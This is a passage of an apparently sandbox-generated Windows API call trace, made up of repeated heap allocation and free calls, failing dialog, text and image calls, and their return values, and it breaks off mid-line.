0 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.689] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.689] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.690] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.690] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.690] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.690] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.690] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.690] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.690] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.690] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.690] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.690] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.691] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.691] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.691] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.691] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.691] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.691] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.691] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.691] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.691] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.691] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.691] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.691] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.691] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193651683, cy=27, fuLoad=0x0) returned 0x0 [0026.691] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.692] GetLastError () returned 0x715 [0026.692] SetLastError (dwErrCode=0x715) [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.692] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.692] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.692] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.692] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.692] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.692] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.692] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.693] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.693] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.693] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.693] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.693] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.693] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.693] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.693] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.693] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.694] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.694] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.694] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.694] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.694] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.694] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.694] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.694] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.694] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.695] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.695] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.695] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.695] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.695] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.695] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193632738, cy=27, fuLoad=0x0) returned 0x0 [0026.695] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.695] GetLastError () returned 0x715 [0026.695] SetLastError (dwErrCode=0x715) [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.695] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.695] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.695] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.695] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.696] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.696] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.696] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.696] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.696] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.696] HeapFree (in: 